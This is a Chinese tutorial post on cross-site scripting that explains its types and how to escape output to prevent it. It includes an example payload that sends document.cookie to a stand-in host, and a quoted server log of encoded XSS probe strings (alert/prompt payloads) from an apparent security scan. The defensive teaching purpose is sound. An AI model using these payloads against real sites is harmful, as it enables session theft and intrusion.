跨站脚本攻击(xss)理解

一  概念

攻击者不直接攻击受害者，而是利用受害者登陆的网站中的漏洞，对受害者进行攻击。

二  危害

由于js本身的限制，并不能直接对用户的电脑造成侵害，但是可以：

1. 获取用户的storage，cookie；

2. 发送任意内容的请求，会造成用户身份信息泄漏；

3. 修改dom结构；恶意脚本能够获取用户敏感信息、监听键盘事件、创建恶意表单、将用户信息提交到另一台服务器；

三  原理

基本就是攻击者利用网站，在用户的浏览器上执行恶意js脚本

四  主要分为三种类型

1. 持久型

2. 反射型

3. 基于dom型

## 持久型

评论／留言／用户资料／昵称等等，可被其他用户访问到的信息，如果直接通过接口提交的评论内容为js脚本，后台直接存入数据库，其他用户通过列表接口获取到这条评论的时候，会直接执行js脚本，或者图片的src设置成`src=http://demo.com?cookie=document.cookie`等等。

![图解xss]

## 反射型

诱导用户点击恶意链接（配合url缩短技术），分享链接，入群链接等等；

## 基于dom型

同样通过url，操作dom节点；

五  办法

**不能信任用户的所有输入**。

1  需要把来自服务端所有需要渲染的数据进行html转义。

[附转义映射表]

http://tool.oschina.net/commons?type=2

处理后，浏览器就会将标签作为文字渲染，而不是标签。

2  好的是现在用的前端框架（angular,react,vue...）一般都会默认做安全字符串处理，如[angular文档所介绍的](https://angular.cn/guide/template-syntax)：

五  附

下面是一个疑似阿里云盾扫描的检验网站安全的例子：

[有人试图对我的开发服务器爆破](https://ruby-china.org/topics/30350)

可以看到其中有这么一段记录：

```

Started GET "/providers/1/comments?page=javascript:alert(1987)" for 121.42.0.17 at 2016-06-23 05:20:00 +0800

Started GET "/providers/1/comments?page=javascript%3Aalert%281987%29" for 121.42.0.17 at 2016-06-23 05:20:02 +0800

Started GET "/providers/1/comments?page=javascript%253Aalert%25281987%2529" for 121.42.0.17 at 2016-06-23 05:20:04 +0800

Started GET "/providers/1/comments?page=%27%22/%3E%3Cimg/src/onerror=alert()%3E" for 121.42.0.17 at 2016-06-23 05:20:05 +0800

Started GET "/providers/1/comments?page=%27%22%2f%3E%3Cimg%2fsrc%2fonerror%3Dalert%28%29%3E" for 121.42.0.17 at 2016-06-23 05:20:07 +0800

Started GET "/providers/1/comments?page=%2527%2522%252f%253E%253Cimg%252fsrc%252fonerror%253Dalert%2528%2529%253E" for 121.42.0.17 at 2016-06-23 05:20:08 +0800

Started GET "/providers/1/comments?page=%27%22+onmouseover=alert()+d=%27%22" for 121.42.0.17 at 2016-06-23 05:20:14 +0800

Started GET "/providers/1/comments?page=%27%22%20onmouseover%3Dalert%28%29%20d%3D%27%22" for 121.42.0.17 at 2016-06-23 05:20:15 +0800

Started GET "/providers/1/comments?page=%2527%2522%2520onmouseover%253Dalert%2528%2529%2520d%253D%2527%2522" for 121.42.0.17 at 2016-06-23 05:20:17 +0800

Started GET "/providers/1/comments?page=%27%22/%3E%3C/script%3E%3Cscript%3Ealert()%3C/script%3E" for 121.42.0.17 at 2016-06-23 05:20:20 +0800

Started GET "/providers/1/comments?page=%27%22%2f%3E%3C%2fscript%3E%3Cscript%3Ealert%28%29%3C%2fscript%3E" for 121.42.0.17 at 2016-06-23 05:20:22 +0800

Started GET "/providers/1/comments?page=%2527%2522%252f%253E%253C%252fscript%253E%253Cscript%253Ealert%2528%2529%253C%252fscript%253E" for 121.42.0.17 at 2016-06-23 05:20:25 +0800

Started GET "/providers/1/comments?page=PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" for 121.42.0.17 at 2016-06-23 05:20:34 +0800

Started GET "/providers/1/comments?page=amF2YXNjcmlwdDpwcm9tcHQoMTExKTt4" for 121.42.0.17 at 2016-06-23 05:20:38 +0800

Started GET "/providers/1/'%22+onmouseover=alert()+d='%22" for 121.42.0.17 at 2016-06-23 05:20:49 +0800

Started GET "/providers/1/%27%22%20onmouseover%3Dalert%28%29%20d%3D%27%22" for 121.42.0.17 at 2016-06-23 05:20:50 +0800

Started GET "/providers/1/%2527%2522%2520onmouseover%253Dalert%2528%2529%2520d%253D%2527%2522" for 121.42.0.17 at 2016-06-23 05:20:51 +0800

Started GET "/providers/1/comments/'%22+onmouseover=alert()+d='%22/?page=2" for 121.42.0.17 at 2016-06-23 05:20:52 +0800

Started GET "/providers/1/comments/%27%22%20onmouseover%3Dalert%28%29%20d%3D%27%22/?page=2" for 121.42.0.17 at 2016-06-23 05:20:53 +0800

Started GET "/providers/1/comments/%2527%2522%2520onmouseover%253Dalert%2528%2529%2520d%253D%2527%2522/?page=2" for 121.42.0.17 at 2016-06-23 05:20:55 +0800

Started GET "/providers/1/comments?page=2%27%22%3E%3Ciframe%20onload=alert()%3E" for 121.42.0.59 at 2016-06-23 05:20:57 +0800

Started GET "/providers/1/comments?page=2%27%22%3E%3Cimg%20src=x%20onerror=prompt()%3E" for 121.42.0.57 at 2016-06-23 05:21:03 +0800

Started GET "/providers/1/comments?page=2%27%22%3E%3Csvg%20onload=prompt()%3E" for 121.42.0.56 at 2016-06-23 05:21:05 +0800

Started GET "/providers/1/comments?page=2" for 121.42.0.58 at 2016-06-23 05:21:10 +0800

Started GET "/providers/1/'%22/%3E%3C/script%3E%3Cscript%3Ealert()%3C/script%3E" for 121.42.0.17 at 2016-06-23 05:21:16 +0800

Started GET "/providers/1/%27%22%2f%3E%3C%2fscript%3E%3Cscript%3Ealert%28%29%3C%2fscript%3E" for 121.42.0.17 at 2016-06-23 05:21:21 +0800

Started GET "/providers/1/%2527%2522%252f%253E%253C%252fscript%253E%253Cscript%253Ealert%2528%2529%253C%252fscript%253E" for 121.42.0.17 at 2016-06-23 05:21:26 +0800

Started GET "/providers/1/comments/'%22/%3E%3C/script%3E%3Cscript%3Ealert()%3C/script%3E/?page=2" for 121.42.0.17 at 2016-06-23 05:21:39 +0800

Started GET "/providers/1/comments/%27%22%2f%3E%3C%2fscript%3E%3Cscript%3Ealert%28%29%3C%2fscript%3E/?page=2" for 121.42.0.17 at 2016-06-23 05:21:46 +0800

Started GET "/providers/1/comments/%2527%2522%252f%253E%253C%252fscript%253E%253Cscript%253Ealert%2528%2529%253C%252fscript%253E/?page=2" for 121.42.0.17 at 2016-06-23 05:22:11 +0800

```

这些记录都是对这个站点进行xss检测。